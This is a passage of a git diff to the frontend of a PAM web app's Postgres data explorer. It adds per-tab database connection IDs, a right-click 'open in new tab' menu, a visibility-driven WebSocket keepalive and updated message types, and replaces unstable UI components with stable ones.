-                onTransactionStateChange={setIsInTransaction}
-              />
+          {tabs.length === 0 && (
+            <div className="flex flex-1 flex-col items-center justify-center gap-3 text-center">
+              <DatabaseIcon className="size-12 text-mineshaft-600" />
+              <p className="text-sm text-mineshaft-400">No tabs open</p>
+              <Button
+                variant="outline"
+                size="xs"
+                onClick={() => {
+                  openQueryTab().catch(() => {});
+                }}
+                isPending={isOpeningTab}
+              >
+                New query tab
+              </Button>
             </div>
-          ))}
+          )}
         </div>
       </div>
 
@@ -532,28 +557,6 @@ export const PamDataExplorerPage = () => {
           </span>
         </div>
       </div>
-
-      <AlertDialog
-        open={pendingTableSwitch !== null}
-        onOpenChange={(open) => {
-          if (!open) setPendingTableSwitch(null);
-        }}
-      >
-        <AlertDialogContent>
-          <AlertDialogHeader>
-            <AlertDialogTitle>Unsaved changes</AlertDialogTitle>
-            <AlertDialogDescription>
-              Table contains unsaved changes. Do you want to discard them?
-            </AlertDialogDescription>
-          </AlertDialogHeader>
-          <AlertDialogFooter>
-            <AlertDialogCancel>Cancel</AlertDialogCancel>
-            <AlertDialogAction variant="danger" onClick={handleDiscardAndSwitch}>
-              Discard changes
-            </AlertDialogAction>
-          </AlertDialogFooter>
-        </AlertDialogContent>
-      </AlertDialog>
     </div>
   );
 };
diff --git a/frontend/src/pages/pam/PamDataExplorerPage/components/DataExplorerGrid.tsx b/frontend/src/pages/pam/PamDataExplorerPage/components/DataExplorerGrid.tsx
index 68beb9d70a1..269dbffe485 100644
--- a/frontend/src/pages/pam/PamDataExplorerPage/components/DataExplorerGrid.tsx
+++ b/frontend/src/pages/pam/PamDataExplorerPage/components/DataExplorerGrid.tsx
@@ -1,10 +1,10 @@
-import { useCallback, useEffect, useMemo, useRef, useState } from "react";
+import { useCallback, useMemo, useRef, useState } from "react";
 import type { CellContext, ColumnDef, HeaderContext } from "@tanstack/react-table";
 import { EyeIcon } from "lucide-react";
 
 import { createNotification } from "@app/components/notifications";
 import { ContentLoader } from "@app/components/v2";
-import { UnstableAlert, UnstableAlertDescription } from "@app/components/v3/generic/Alert";
+import { Alert, AlertDescription } from "@app/components/v3/generic/Alert";
 import { Checkbox } from "@app/components/v3/generic/Checkbox";
 import type { CellOpts } from "@app/components/v3/generic/DataGrid";
 import { DataGrid, useDataGrid } from "@app/components/v3/generic/DataGrid";
@@ -28,7 +28,11 @@ type DataExplorerGridProps = {
   tableType?: string;
   schema: string;
   table: string;
-  executeQuery: (sql: string) => Promise<{
+  connectionId: string;
+  executeQuery: (
+    connectionId: string,
+    sql: string
+  ) => Promise<{
     rows: Record<string, unknown>[];
     fields: FieldInfo[];
     rowCount: number | null;
@@ -36,8 +40,7 @@ type DataExplorerGridProps = {
     executionTimeMs: number;
   }>;
   isLoading: boolean;
-  onChangeCountUpdate?: (count: number) => void;
-  onFullRefresh?: () => Promise<void>;
+  onRefresh?: () => Promise<void>;
 };
 
 const ROW_KEY_PREFIX = "__new_";
@@ -175,10 +178,10 @@ export const DataExplorerGrid = ({
   tableType,
   schema,
   table,
+  connectionId,
   executeQuery,
   isLoading,
-  onChangeCountUpdate,
-  onFullRefresh
+  onRefresh
 }: DataExplorerGridProps) => {
   const [originalData, setOriginalData] = useState<Record<string, unknown>[]>([]);
   const [currentData, setCurrentData] = useState<Record<string, unknown>[]>([]);
@@ -238,8 +241,8 @@ export const DataExplorerGrid = ({
         // sequentially, not in a single transaction), so the count could be off by 1 if
         // another session modifies data between them. Acceptable for a data explorer.
         const [dataResult, countResult] = await Promise.all([
-          executeQuery(selectSql),
-          executeQuery(countSql)
+          executeQuery(connectionId, selectSql),
+          executeQuery(connectionId, countSql)
         ]);
 
         const taggedRows = dataResult.rows.map((row: Record<string, unknown>) => ({
@@ -267,7 +270,7 @@ export const DataExplorerGrid = ({
         setIsDataLoading(false);
       }
     },
-    [tableDetail, schema, table, primaryKeys, executeQuery]
+    [tableDetail, schema, table, primaryKeys, executeQuery, connectionId]
   );
 
   // Fetch data when filters/sorts/pagination change.
@@ -350,10 +353,6 @@ export const DataExplorerGrid = ({
     return count;
   }, [currentData, originalDataByPk, primaryKeys, newRowTempIds, tableColumns]);
 
-  useEffect(() => {
-    onChangeCountUpdate?.(changeCount);
-  }, [changeCount, onChangeCountUpdate]);
-
   const handleAddRecord = useCallback(() => {
     newRowCounterRef.current += 1;
     const tempId = `${ROW_KEY_PREFIX}${newRowCounterRef.current}`;
@@ -401,7 +400,7 @@ export const DataExplorerGrid = ({
       if (deleteStatements.length > 0) {
         try {
           const sql = wrapInTransaction(deleteStatements);
-          await executeQuery(sql);
+          await executeQuery(connectionId, sql);
           createNotification({
             text: `Deleted ${deleteStatements.length} row${deleteStatements.length !== 1 ? "s" : ""}`,
             type: "success"
@@ -424,6 +423,7 @@ export const DataExplorerGrid = ({
       primaryKeys,
       schema,
       table,
+      connectionId,
       executeQuery,
       fetchData,
       offset,
@@ -506,7 +506,7 @@ export const DataExplorerGrid = ({
         return;
       }
 
-      await executeQuery(sql);
+      await executeQuery(connectionId, sql);
       createNotification({
         text: `Saved ${statements.length} change${statements.length !== 1 ? "s" : ""}`,
         type: "success"
@@ -530,6 +530,7 @@ export const DataExplorerGrid = ({
     primaryKeys,
     schema,
     table,
+    connectionId,
     executeQuery,
     fetchData,
     offset,
@@ -642,7 +643,7 @@ export const DataExplorerGrid = ({
     if (deleteStatements.length > 0) {
       try {
         const sql = wrapInTransaction(deleteStatements);
-        await executeQuery(sql);
+        await executeQuery(connectionId, sql);
         createNotification({
           text: `Deleted ${deleteStatements.length} row${deleteStatements.length !== 1 ? "s" : ""}`,
           type: "success"
@@ -663,7 +664,18 @@ export const DataExplorerGrid = ({
     gridRef.current?.resetRowSelection();
     selectedRowsRef.current = [];
     setSelectedRowCount(0);
-  }, [schema, table, primaryKeys, executeQuery, fetchData, offset, pageSize, filters, sorts]);
+  }, [
+    schema,
+    table,
+    primaryKeys,
+    connectionId,
+    executeQuery,
+    fetchData,
+    offset,
+    pageSize,
+    filters,
+    sorts
+  ]);
 
   if (!tableDetail) {
     return (
@@ -697,7 +709,7 @@ export const DataExplorerGrid = ({
         hasPrimaryKey={hasPrimaryKey}
         isDataLoading={isDataLoading}
         onRefresh={async () => {
-          if (onFullRefresh) await onFullRefresh();
+          if (onRefresh) await onRefresh();
           await fetchData(offset, pageSize, filters, sorts);
         }}
         isRefreshing={isDataLoading && hasLoaded}
@@ -705,14 +717,14 @@ export const DataExplorerGrid = ({
 
       {!hasPrimaryKey && (
         <div className="shrink-0 px-3 py-3">
-          <UnstableAlert variant="info" className="py-2">
+          <Alert variant="info" className="py-2">
             <EyeIcon />
-            <UnstableAlertDescription>
+            <AlertDescription>
               {tableType === "view" || tableType === "materialized_view"
                 ? "This view is read-only."
                 : "This table has no primary key. Browsing is read-only — editing requires a primary key."}
-            </UnstableAlertDescription>
-          </UnstableAlert>
+            </AlertDescription>
+          </Alert>
         </div>
       )}
 
diff --git a/frontend/src/pages/pam/PamDataExplorerPage/components/DataExplorerRowEditor.tsx b/frontend/src/pages/pam/PamDataExplorerPage/components/DataExplorerRowEditor.tsx
index 88c2cfd1690..1144f5e9bd5 100644
--- a/frontend/src/pages/pam/PamDataExplorerPage/components/DataExplorerRowEditor.tsx
+++ b/frontend/src/pages/pam/PamDataExplorerPage/components/DataExplorerRowEditor.tsx
@@ -4,7 +4,7 @@ import { useEffect, useState } from "react";
 
 import { Badge } from "@app/components/v3/generic/Badge";
 import { Button } from "@app/components/v3/generic/Button";
-import { UnstableInput } from "@app/components/v3/generic/Input";
+import { Input } from "@app/components/v3/generic/Input";
 import {
   Sheet,
   SheetContent,
@@ -115,7 +115,7 @@ export const DataExplorerRowEditor = ({
                     rows={4}
                   />
                 ) : (
-                  <UnstableInput
+                  <Input
                     value={value}
                     onChange={(e) =>
                       setFormValues((prev) => ({ ...prev, [col.name]: e.target.value }))
diff --git a/frontend/src/pages/pam/PamDataExplorerPage/components/DataExplorerSidebar.tsx b/frontend/src/pages/pam/PamDataExplorerPage/components/DataExplorerSidebar.tsx
index e557c8890d0..66920b1b05e 100644
--- a/frontend/src/pages/pam/PamDataExplorerPage/components/DataExplorerSidebar.tsx
+++ b/frontend/src/pages/pam/PamDataExplorerPage/components/DataExplorerSidebar.tsx
@@ -1,7 +1,7 @@
-import { useCallback, useEffect, useState } from "react";
+import { useCallback, useEffect, useRef, useState } from "react";
 import { DatabaseIcon, SearchIcon, TableIcon, ViewIcon } from "lucide-react";
 
-import { UnstableInput } from "@app/components/v3/generic/Input";
+import { Input } from "@app/components/v3/generic/Input";
 import {
   Select,
   SelectContent,
@@ -14,15 +14,24 @@ import { cn } from "@app/components/v3/utils";
 
 import type { SchemaInfo, TableInfo } from "../data-explorer-types";
 
+type SelectedTab = { schema: string; table: string };
+
 type DataExplorerSidebarProps = {
   schemas: SchemaInfo[];
   selectedSchema: string;
   onSchemaChange: (schema: string) => void;
   tables: TableInfo[];
-  selectedTable: string | null;
-  onTableSelect: (table: string) => void;
+  activeBrowseTarget: SelectedTab | null;
+  onTableOpen: (table: string, opts: { forceNew: boolean }) => void;
   isLoadingSchemas: boolean;
   isLoadingTables: boolean;
+  disabled?: boolean;
+};
+
+type ContextMenuState = {
+  tableName: string;
+  x: number;
+  y: number;
 };
 
 export const DataExplorerSidebar = ({
@@ -30,18 +39,40 @@ export const DataExplorerSidebar = ({
   selectedSchema,
   onSchemaChange,
   tables,
-  selectedTable,
-  onTableSelect,
+  activeBrowseTarget,
+  onTableOpen,
   isLoadingSchemas,
-  isLoadingTables
+  isLoadingTables,
+  disabled = false
 }: DataExplorerSidebarProps) => {
   const [search, setSearch] = useState("");
+  const [contextMenu, setContextMenu] = useState<ContextMenuState | null>(null);
+  const menuRef = useRef<HTMLDivElement>(null);
 
   // Reset search when schema changes
   useEffect(() => {
     setSearch("");
   }, [selectedSchema]);
 
+  // Close context menu on outside click / Escape
+  useEffect(() => {
+    if (!contextMenu) return undefined;
+    const handleDown = (e: MouseEvent) => {
+      if (menuRef.current && !menuRef.current.contains(e.target as Node)) {
+        setContextMenu(null);
+      }
+    };
+    const handleKey = (e: KeyboardEvent) => {
+      if (e.key === "Escape") setContextMenu(null);
+    };
+    window.addEventListener("mousedown", handleDown);
+    window.addEventListener("keydown", handleKey);
+    return () => {
+      window.removeEventListener("mousedown", handleDown);
+      window.removeEventListener("keydown", handleKey);
+    };
+  }, [contextMenu]);
+
   const filteredTables = tables.filter((t) => t.name.toLowerCase().includes(search.toLowerCase()));
 
   const getTableIcon = useCallback((tableType: string) => {
@@ -51,6 +82,24 @@ export const DataExplorerSidebar = ({
     return <TableIcon className="size-3.5 shrink-0 text-accent" />;
   }, []);
 
+  const handleClick = (name: string, e: React.MouseEvent) => {
+    if (disabled) return;
+    const forceNew = e.metaKey || e.ctrlKey;
+    onTableOpen(name, { forceNew });
+  };
+
+  const handleContextMenu = (name: string, e: React.MouseEvent) => {
+    if (disabled) return;
+    e.preventDefault();
+    setContextMenu({ tableName: name, x: e.clientX, y: e.clientY });
+  };
+
+  const handleOpenInNewTab = () => {
+    if (!contextMenu) return;
+    onTableOpen(contextMenu.tableName, { forceNew: true });
+    setContextMenu(null);
+  };
+
   return (
     <div className="flex h-full w-64 shrink-0 flex-col border-r border-border bg-container">
       {/* Schema selector + Search */}
@@ -58,7 +107,7 @@ export const DataExplorerSidebar = ({
         {isLoadingSchemas ? (
           <Skeleton className="h-8 w-full" />
         ) : (
-          <Select value={selectedSchema} onValueChange={onSchemaChange}>
+          <Select value={selectedSchema} onValueChange={onSchemaChange} disabled={disabled}>
             <SelectTrigger className="h-9 w-full text-xs text-foreground">
               <span className="flex items-center gap-1.5">
                 <DatabaseIcon className="size-3.5 text-accent" />
@@ -76,7 +125,7 @@ export const DataExplorerSidebar = ({
         )}
         <div className="relative">
           <SearchIcon className="absolute top-1/2 left-2 size-3.5 -translate-y-1/2 text-accent" />
-          <UnstableInput
+          <Input
             value={search}
             onChange={(e) => setSearch(e.target.value)}
             placeholder="Search tables..."
@@ -102,25 +151,48 @@ export const DataExplorerSidebar = ({
         )}
         {!isLoadingTables && filteredTables.length > 0 && (
           <div className="p-1">
-            {filteredTables.map((t) => (
-              <button
-                key={t.name}
-                type="button"
-                onClick={() => onTableSelect(t.name)}
-                className={cn(
-                  "flex w-full items-center gap-2 rounded-md px-2.5 py-1.5 text-left text-xs text-muted transition-colors hover:bg-container-hover",
-                  selectedTable === t.name && "bg-container-hover text-foreground"
-                )}
-              >
-                {getTableIcon(t.tableType)}
-                <span className="truncate" title={t.name}>
-                  {t.name}
-                </span>
-              </button>
-            ))}
+            {filteredTables.map((t) => {
+              const isActive =
+                activeBrowseTarget?.schema === selectedSchema &&
+                activeBrowseTarget.table === t.name;
+              return (
+                <button
+                  key={t.name}
+                  type="button"
+                  disabled={disabled}
+                  onClick={(e) => handleClick(t.name, e)}
+                  onContextMenu={(e) => handleContextMenu(t.name, e)}
+                  className={cn(
+                    "flex w-full items-center gap-2 rounded-md px-2.5 py-1.5 text-left text-xs text-muted transition-colors hover:bg-container-hover disabled:cursor-not-allowed disabled:opacity-50",
+                    isActive && "bg-container-hover text-foreground"
+                  )}
+                >
+                  {getTableIcon(t.tableType)}
+                  <span className="truncate" title={t.name}>
+                    {t.name}
+                  </span>
+                </button>
+              );
+            })}
           </div>
         )}
       </div>
+
+      {contextMenu && (
+        <div
+          ref={menuRef}
+          style={{ position: "fixed", top: contextMenu.y, left: contextMenu.x, zIndex: 50 }}
+          className="min-w-[160px] rounded-md border border-border bg-popover p-1 text-xs text-foreground shadow-md"
+        >
+          <button
+            type="button"
+            onClick={handleOpenInNewTab}
+            className="flex w-full items-center gap-2 rounded-sm px-2 py-1.5 text-left hover:bg-container-hover"
+          >
+            Open in new tab
+          </button>
+        </div>
+      )}
     </div>
   );
 };
diff --git a/frontend/src/pages/pam/PamDataExplorerPage/components/FilterPopover.tsx b/frontend/src/pages/pam/PamDataExplorerPage/components/FilterPopover.tsx
index 4b83ce73f71..f1dd4c18b62 100644
--- a/frontend/src/pages/pam/PamDataExplorerPage/components/FilterPopover.tsx
+++ b/frontend/src/pages/pam/PamDataExplorerPage/components/FilterPopover.tsx
@@ -2,7 +2,7 @@ import { useEffect, useState } from "react";
 import { CheckIcon, FilterIcon, PlusIcon, XIcon } from "lucide-react";
 
 import { Button } from "@app/components/v3/generic/Button";
-import { UnstableInput } from "@app/components/v3/generic/Input";
+import { Input } from "@app/components/v3/generic/Input";
 import { Popover, PopoverContent, PopoverTrigger } from "@app/components/v3/generic/Popover";
 import {
   Select,
@@ -221,7 +221,7 @@ export const FilterPopover = ({ columns, filters, onFiltersChange }: FilterPopov
                   </Select>
 
                   {opConfig?.needsValue !== false && (
-                    <UnstableInput
+                    <Input
                       value={filter.value}
                       onChange={(e) => updateFilter(index, { value: e.target.value })}
                       placeholder={getFilterPlaceholder(colInfo?.type ?? "", filter.operator)}
diff --git a/frontend/src/pages/pam/PamDataExplorerPage/components/QueryPanel.tsx b/frontend/src/pages/pam/PamDataExplorerPage/components/QueryPanel.tsx
index ab4204717e3..8ba0b509d21 100644
--- a/frontend/src/pages/pam/PamDataExplorerPage/components/QueryPanel.tsx
+++ b/frontend/src/pages/pam/PamDataExplorerPage/components/QueryPanel.tsx
@@ -26,9 +26,8 @@ type QueryResult = {
 
 type Props = {
   tab: QueryTab;
-  executeQuery: (sql: string) => Promise<QueryResult>;
-  cancelQuery: () => void;
-  isInTransaction: boolean;
+  executeQuery: (connectionId: string, sql: string) => Promise<QueryResult>;
+  cancelQuery: (connectionId: string) => void;
   onSqlChange: (sql: string) => void;
   onTransactionStateChange: (open: boolean) => void;
 };
@@ -37,7 +36,6 @@ export function QueryPanel({
   tab,
   executeQuery,
   cancelQuery,
-  isInTransaction,
   onSqlChange,
   onTransactionStateChange
 }: Props) {
@@ -62,10 +60,13 @@ export function QueryPanel({
     setIsRunning(true);
     setError(null);
     try {
-      const res = await executeQuery(sqlToRun);
+      const res = await executeQuery(tab.connectionId, sqlToRun);
       onTransactionStateChange(res.transactionOpen);
       setResult(res);
     } catch (err) {
+      // BE is the source of truth via transactionOpen on error responses, but
+      // when the pending promise rejects without a transactionOpen (e.g. WS
+      // drop, timeout) we fall back to assuming the txn is gone.
       onTransactionStateChange(false);
       setError(err instanceof Error ? err.message : String(err));
       setResult(null);
@@ -115,12 +116,12 @@ export function QueryPanel({
     <div className="flex h-full w-full flex-col overflow-hidden">
       <QueryToolbar
         isRunning={isRunning}
-        isInTransaction={isInTransaction}
+        isInTransaction={tab.isInTransaction}
         hasSelection={hasSelection}
         onRun={handleRun}
         onCommit={handleCommit}
         onRollback={handleRollback}
-        onCancel={cancelQuery}
+        onCancel={() => cancelQuery(tab.connectionId)}
       />
       <div
         ref={containerRef}
diff --git a/frontend/src/pages/pam/PamDataExplorerPage/components/SqlEditor.tsx b/frontend/src/pages/pam/PamDataExplorerPage/components/SqlEditor.tsx
index 0426094cd72..87b36729cd5 100644
--- a/frontend/src/pages/pam/PamDataExplorerPage/components/SqlEditor.tsx
+++ b/frontend/src/pages/pam/PamDataExplorerPage/components/SqlEditor.tsx
@@ -3,7 +3,7 @@ import { defaultKeymap, history, historyKeymap } from "@codemirror/commands";
 import { PostgreSQL, sql } from "@codemirror/lang-sql";
 import { HighlightStyle, syntaxHighlighting } from "@codemirror/language";
 import { EditorState, type Transaction } from "@codemirror/state";
-import { EditorView, keymap, type ViewUpdate } from "@codemirror/view";
+import { EditorView, keymap, placeholder, type ViewUpdate } from "@codemirror/view";
 import { tags } from "@lezer/highlight";
 
 const infisicalTheme = EditorView.theme({
@@ -113,6 +113,7 @@ export function SqlEditor({
             ...defaultKeymap
           ]),
           maxSqlLength,
+          placeholder("Start writing SQL..."),
           sql({ dialect: PostgreSQL }),
           infisicalTheme,
           syntaxHighlighting(infisicalHighlight),
diff --git a/frontend/src/pages/pam/PamDataExplorerPage/data-explorer-types.ts b/frontend/src/pages/pam/PamDataExplorerPage/data-explorer-types.ts
index 6ed264e1c8f..0c423f56a51 100644
--- a/frontend/src/pages/pam/PamDataExplorerPage/data-explorer-types.ts
+++ b/frontend/src/pages/pam/PamDataExplorerPage/data-explorer-types.ts
@@ -1,18 +1,34 @@
 // WebSocket message types for the Postgres Data Explorer
 
 export type DataExplorerClientMessage =
+  // Metadata (no connectionId) — served by short-lived BE pg.Clients
   | { type: "get-schemas"; id: string }
   | { type: "get-tables"; id: string; schema: string }
-  | { type: "get-table-detail"; id: string; schema: string; table: string }
-  | { type: "query"; id: string; sql: string };
+  // Tab-scoped — routed to a specific BE controller
+  | { type: "get-table-detail"; id: string; connectionId: string; schema: string; table: string }
+  | { type: "query"; id: string; connectionId: string; sql: string }
+  // Cancel is fire-and-forget; gains connectionId for routing but not id
+  | { type: "cancel"; connectionId: string }
+  // Lifecycle
+  | { type: "open-connection"; id: string }
+  | { type: "close-connection"; connectionId: string }
+  // Keepalive sent while the browser tab is visible; resets the BE idle timer
+  | { type: "activity" };
 
 export type DataExplorerServerMessage =
   | { type: "schemas"; id: string; data: SchemaInfo[] }
   | { type: "tables"; id: string; data: TableInfo[] }
-  | { type: "table-detail"; id: string; data: TableDetail }
+  | {
+      type: "table-detail";
+      id: string;
+      connectionId: string;
+      transactionOpen: boolean;
+      data: TableDetail;
+    }
   | {
       type: "query-result";
       id: string;
+      connectionId: string;
       rows: Record<string, unknown>[];
       fields: FieldInfo[];
       rowCount: number | null;
@@ -21,9 +37,19 @@ export type DataExplorerServerMessage =
       command: string;
       executionTimeMs: number;
     }
-  | { type: "error"; id: string; error: string; detail?: string; hint?: string }
-  // Lifecycle messages (reused from terminal)
-  | { type: "ready"; data: string; prompt: string }
+  | {
+      type: "error";
+      id: string;
+      connectionId?: string;
+      transactionOpen?: boolean;
+      error: string;
+      detail?: string;
+      hint?: string;
+    }
+  | { type: "connection-opened"; id: string; connectionId: string; backendPid: number | null }
+  | { type: "connection-open-failed"; id: string; error: string }
+  | { type: "connection-closed"; connectionId: string; reason: string }
+  | { type: "ready" }
   | { type: "session_end"; reason: string };
 
 export type SchemaInfo = {
diff --git a/frontend/src/pages/pam/PamDataExplorerPage/use-data-explorer-session.ts b/frontend/src/pages/pam/PamDataExplorerPage/use-data-explorer-session.ts
index 3c1894b3a41..8be7838fa2f 100644
--- a/frontend/src/pages/pam/PamDataExplorerPage/use-data-explorer-session.ts
+++ b/frontend/src/pages/pam/PamDataExplorerPage/use-data-explorer-session.ts
@@ -16,6 +16,8 @@ type PendingRequest = {
   resolve: (msg: DataExplorerServerMessage) => void;
   reject: (err: Error) => void;
   timer: ReturnType<typeof setTimeout>;
+  // Present on tab-scoped requests so we can reject all pending when a tab closes.
+  connectionId?: string;
 };
 
 type MfaState = {
@@ -41,18 +43,40 @@ type UseDataExplorerSessionOptions = {
   orgId: string;
   resourceName: string;
   accountName: string;
+  reason?: string;
   onSessionEnd?: (reason?: string) => void;
+  // Server pushes connection-closed when a BE controller dies unexpectedly.
+  onConnectionClosed?: (connectionId: string, reason: string) => void;
+  // Called after a reconnect so the page can drop tabs + land on a fresh query tab.
+  onReconnected?: () => void;
 };
 
 const REQUEST_TIMEOUT_MS = 30_000;
 
+// Cadence for the visibility-driven keepalive. The BE idle timer is 10 min;
+// 60s leaves plenty of headroom if a heartbeat drops on flaky networks.
+const ACTIVITY_PING_INTERVAL_MS = 60_000;
+
+type QueryResult = {
+  rows: Record<string, unknown>[];
+  fields: FieldInfo[];
+  rowCount: number | null;
+  isTruncated: boolean;
+  transactionOpen: boolean;
+  command: string;
+  executionTimeMs: number;
+};
+
 export const useDataExplorerSession = ({
   accountId,
   projectId,
   orgId,
   resourceName,
   accountName,
-  onSessionEnd
+  reason: accessReason,
+  onSessionEnd,
+  onConnectionClosed,
+  onReconnected
 }: UseDataExplorerSessionOptions) => {
   const [isConnected, setIsConnected] = useState(false);
   const [isConnecting, setIsConnecting] = useState(false);
@@ -66,10 +90,19 @@ export const useDataExplorerSession = ({
   const readyRejectRef = useRef<((err: Error) => void) | null>(null);
   const readyPromiseRef = useRef<Promise<void> | null>(null);
   const onSessionEndRef = useRef(onSessionEnd);
+  const onConnectionClosedRef = useRef(onConnectionClosed);
+  const onReconnectedRef = useRef(onReconnected);
+  const hasConnectedBeforeRef = useRef(false);
 
   useEffect(() => {
     onSessionEndRef.current = onSessionEnd;
   }, [onSessionEnd]);
+  useEffect(() => {
+    onConnectionClosedRef.current = onConnectionClosed;
+  }, [onConnectionClosed]);
+  useEffect(() => {
+    onReconnectedRef.current = onReconnected;
+  }, [onReconnected]);
 
   const rejectAllPending = useCallback((reason: string) => {
     const pending = pendingRequestsRef.current;
@@ -102,6 +135,10 @@ export const useDataExplorerSession = ({
           setIsConnected(true);
           setIsConnecting(false);
           readyResolveRef.current?.();
+          if (hasConnectedBeforeRef.current) {
+            onReconnectedRef.current?.();
+          }
+          hasConnectedBeforeRef.current = true;
           return;
         }
 
@@ -115,7 +152,22 @@ export const useDataExplorerSession = ({
           return;
         }
 
-        // Request-response correlation
+        if (serverMsg.type === "connection-closed") {
+          // Informational only — the FE has no pending-request id to resolve.
+          // Reject any pending requests tied to this connectionId.
+          const pending = pendingRequestsRef.current;
+          pending.forEach((p, id) => {
+            if (p.connectionId === serverMsg.connectionId) {
+              clearTimeout(p.timer);
+              p.reject(new Error(serverMsg.reason || "Connection closed"));
+              pending.delete(id);
+            }
+          });
+          onConnectionClosedRef.current?.(serverMsg.connectionId, serverMsg.reason);
+          return;
+        }
+
+        // Request-response correlation (all remaining typed messages carry `id`).
         if ("id" in serverMsg && serverMsg.id) {
           const pending = pendingRequestsRef.current.get(serverMsg.id);
           if (pending) {
@@ -127,6 +179,8 @@ export const useDataExplorerSession = ({
                 .filter(Boolean)
                 .join("\n");
               pending.reject(new Error(errMsg));
+            } else if (serverMsg.type === "connection-open-failed") {
+              pending.reject(new Error(serverMsg.error));
             } else {
               pending.resolve(serverMsg);
             }
@@ -171,7 +225,7 @@ export const useDataExplorerSession = ({
       try {
         const { data } = await apiRequest.post<{ ticket: string }>(
           `/api/v1/pam/accounts/${accountId}/web-access-ticket`,
-          { projectId, mfaSessionId }
+          { projectId, mfaSessionId, reason: accessReason }
         );
         openWebSocket(data.ticket);
       } catch (err: unknown) {
@@ -220,7 +274,7 @@ export const useDataExplorerSession = ({
         readyRejectRef.current?.(new Error("Failed to connect"));
       }
     },
-    [accountId, projectId, openWebSocket]
+    [accountId, projectId, accessReason, openWebSocket]
   );
 
   const disconnect = useCallback(() => {
@@ -322,14 +376,16 @@ export const useDataExplorerSession = ({
   );
 
   const approvalRequestUrl = approvalState?.approvalRequestId
-    ? `${window.location.origin}/organizations/${orgId}/projects/pam/${projectId}/approval-requests/${approvalState.approvalRequestId}`
+    ? `${window.location.origin}/organizations/${orgId}/projects/pam/${projectId}/approvals/${approvalState.approvalRequestId}`
     : undefined;
 
   // --- Request helpers ---
 
   const sendRequest = useCallback(
-    // eslint-disable-next-line @typescript-eslint/no-explicit-any
-    async <T extends DataExplorerServerMessage>(msg: Record<string, any>): Promise<T> => {
+    async <T extends DataExplorerServerMessage>(
+      msg: Record<string, unknown>,
+      opts?: { connectionId?: string }
+    ): Promise<T> => {
       if (readyPromiseRef.current) {
         await readyPromiseRef.current;
       }
@@ -346,7 +402,8 @@ export const useDataExplorerSession = ({
         pendingRequestsRef.current.set(id, {
           resolve: resolve as (m: DataExplorerServerMessage) => void,
           reject,
-          timer
+          timer,
+          connectionId: opts?.connectionId
         });
 
         const ws = wsRef.current;
@@ -362,6 +419,35 @@ export const useDataExplorerSession = ({
     []
   );
 
+  const openConnection = useCallback(async (): Promise<{
+    connectionId: string;
+    backendPid: number | null;
+  }> => {
+    const resp = await sendRequest<
+      Extract<DataExplorerServerMessage, { type: "connection-opened" }>
+    >({
+      type: "open-connection"
+    });
+    return { connectionId: resp.connectionId, backendPid: resp.backendPid };
+  }, [sendRequest]);
+
+  const closeConnection = useCallback((connectionId: string): void => {
+    const ws = wsRef.current;
+    // Reject any pending requests tied to this connection immediately so the
+    // caller doesn't have a dangling promise when the tab is gone.
+    const pending = pendingRequestsRef.current;
+    pending.forEach((p, id) => {
+      if (p.connectionId === connectionId) {
+        clearTimeout(p.timer);
+        p.reject(new Error("Connection closed"));
+        pending.delete(id);
+      }
+    });
+    if (ws && ws.readyState === WebSocket.OPEN) {
+      ws.send(JSON.stringify({ type: "close-connection", connectionId }));
+    }
+  }, []);
+
   const fetchSchemas = useCallback(async (): Promise<SchemaInfo[]> => {
     const resp = await sendRequest<Extract<DataExplorerServerMessage, { type: "schemas" }>>({
       type: "get-schemas"
@@ -381,40 +467,33 @@ export const useDataExplorerSession = ({
   );
 
   const fetchTableDetail = useCallback(
-    async (schema: string, table: string): Promise<TableDetail> => {
-      const resp = await sendRequest<Extract<DataExplorerServerMessage, { type: "table-detail" }>>({
-        type: "get-table-detail",
-        schema,
-        table
-      });
-      return resp.data;
+    async (
+      connectionId: string,
+      schema: string,
+      table: string
+    ): Promise<{ detail: TableDetail; transactionOpen: boolean }> => {
+      const resp = await sendRequest<Extract<DataExplorerServerMessage, { type: "table-detail" }>>(
+        { type: "get-table-detail", connectionId, schema, table },
+        { connectionId }
+      );
+      return { detail: resp.data, transactionOpen: resp.transactionOpen };
     },
     [sendRequest]
   );
 
-  const cancelQuery = useCallback(() => {
+  const cancelQuery = useCallback((connectionId: string) => {
     const ws = wsRef.current;
     if (ws && ws.readyState === WebSocket.OPEN) {
-      ws.send(JSON.stringify({ type: "cancel" }));
+      ws.send(JSON.stringify({ type: "cancel", connectionId }));
     }
   }, []);
 
   const executeQuery = useCallback(
-    async (
-      sql: string
-    ): Promise<{
-      rows: Record<string, unknown>[];
-      fields: FieldInfo[];
-      rowCount: number | null;
-      isTruncated: boolean;
-      transactionOpen: boolean;
-      command: string;
-      executionTimeMs: number;
-    }> => {
-      const resp = await sendRequest<Extract<DataExplorerServerMessage, { type: "query-result" }>>({
-        type: "query",
-        sql
-      });
+    async (connectionId: string, sql: string): Promise<QueryResult> => {
+      const resp = await sendRequest<Extract<DataExplorerServerMessage, { type: "query-result" }>>(
+        { type: "query", connectionId, sql },
+        { connectionId }
+      );
       return {
         rows: resp.rows,
         fields: resp.fields,
@@ -428,8 +507,48 @@ export const useDataExplorerSession = ({
     [sendRequest]
   );
 
-  // No auto-connect here — the page component drives connection lifecycle,
-  // same as useWebAccessSession where containerEl gates the connect call.
+  // Visibility-driven keepalive. While the browser tab is visible and the WS
+  // is open, send a fire-and-forget { type: "activity" } every minute so the
+  // BE idle timer doesn't fire on read-only sessions (filter/paginate/browse).
+  // When the tab goes hidden we stop sending, and the BE idle timer takes over.
+  useEffect(() => {
+    if (!isConnected) return undefined;
+
+    let interval: ReturnType<typeof setInterval> | null = null;
+
+    const sendActivity = () => {
+      const ws = wsRef.current;
+      if (ws && ws.readyState === WebSocket.OPEN) {
+        ws.send(JSON.stringify({ type: "activity" } satisfies DataExplorerClientMessage));
+      }
+    };
+
+    const start = () => {
+      if (interval) return;
+      sendActivity();
+      interval = setInterval(sendActivity, ACTIVITY_PING_INTERVAL_MS);
+    };
+
+    const stop = () => {
+      if (interval) {
+        clearInterval(interval);
+        interval = null;
+      }
+    };
+
+    const onVisibilityChange = () => {
+      if (document.visibilityState === "visible") start();
+      else stop();
+    };
+
+    if (document.visibilityState === "visible") start();
+    document.addEventListener("visibilitychange", onVisibilityChange);
+
+    return () => {
+      document.removeEventListener("visibilitychange", onVisibilityChange);
+      stop();
+    };
+  }, [isConnected]);
 
   return {
     isConnected,
@@ -443,6 +562,8 @@ export const useDataExplorerSession = ({
     handleMfaVerification,
     submitApprovalRequest,
     approvalRequestUrl,
+    openConnection,
+    closeConnection,
